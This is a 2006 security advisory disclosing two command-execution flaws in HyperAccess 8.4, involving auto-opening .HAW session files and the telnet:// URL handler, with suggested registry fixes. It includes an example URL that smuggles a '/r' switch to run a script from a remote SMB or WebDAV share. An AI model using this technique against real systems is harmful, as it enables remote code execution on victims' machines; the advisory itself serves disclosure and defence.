HyperAccess - Multiple Vulnerabilities



Not long now...

========================================================================
= Hyper Access - Multiple Vulnerabilities
=
= Vendor Website:
= http://www.hilgraeve.com
=
= Affected Software:
= Hyper Access 8.4 (and possibly lower)
=
= Public disclosure on Thursday December 14, 2006
========================================================================

== Overview ==

HyperAccess is the official FULL-POWERED upgrade from HyperTerminal and
HyperTerminal Private Edition. It is the product from which
HyperTerminal
and HyperTerminal Private Edition are derived. HyperAccess offers a wide

array of additional capabilities, with a similar look andfeel.

This advisory discloses two separate (but similar) security issues in
the latest version of HyperAccess .

* Command Execution Through .HAW Opening *

HyperAccess saves 'sessions' as .haw files. These extensions are setup
to
open without user intervention, through the editflags setting the in the

registry key:

HKEY_CLASSES_ROOT\HAWin32\EditFlags.

If a user, using Internet Explorer, browses to a web site that hosts a
.HAW, an automatic download and open can be forced. The file will be
opened and parsed by the installed version of HyperAccess.

A .HAW file can be saved with an option 'Script To Run Before
Connecting'
and this can be setup to load a script file from either an SMB share or

a WEBDAV web share.

The script command offered by HyperAccess include built in commands as
well as standard vbscript. This allows the creation of a script that
uses WScript.Shell to spawn other executables.

This attack requires the target to visit the attackers website, and be
able to connect to the remote share.

A suggested fix is to remove/modify the editflags setting to prevent the

automatic opening and parsing of .HAW files.


* Command Execution Through Telnet URL Protocol *

HyperAccess sets up a URL Protocol to handle the telnet:// URL handler.
This setting can be viewed in the registry key:

HKEY_CLASSES_ROOT\telnet\shell\open\command

which is set to

c:\program files\hawin32\hawin32.exe /t %1

HyperAccess will accept /r as a command line parameter to specify a
script file to run. This command can be passed on the URL through
Internet
Explorer using a URL such as;

telnet://IPADDRESS:PORT # /r \\SERVER\share\scriptfile.txt

Where SERVER is an SMB share or a WEBDAV web share hosting a malicious
script to run.

The script command offered by Hyperaccess include built in commands as
well as standard vbscript. This allows the creation of a script that
uses WScript.Shell to spawn other executables.

This attack requires the target to visit the attackers website, and be
able to connect to the remote share.


A suggested fix is to remove the telnet handler from the registry.


== Solutions ==

Currently, the issues outlined in the report have been added to a
list of issues to evaluate during the next update of HyperACCESS.
There is currently no planned date for this update.

== Credit ==

Discovered and advised to Hilgraeve November 10, 2006 by Brett Moore of
Security-Assessment.com

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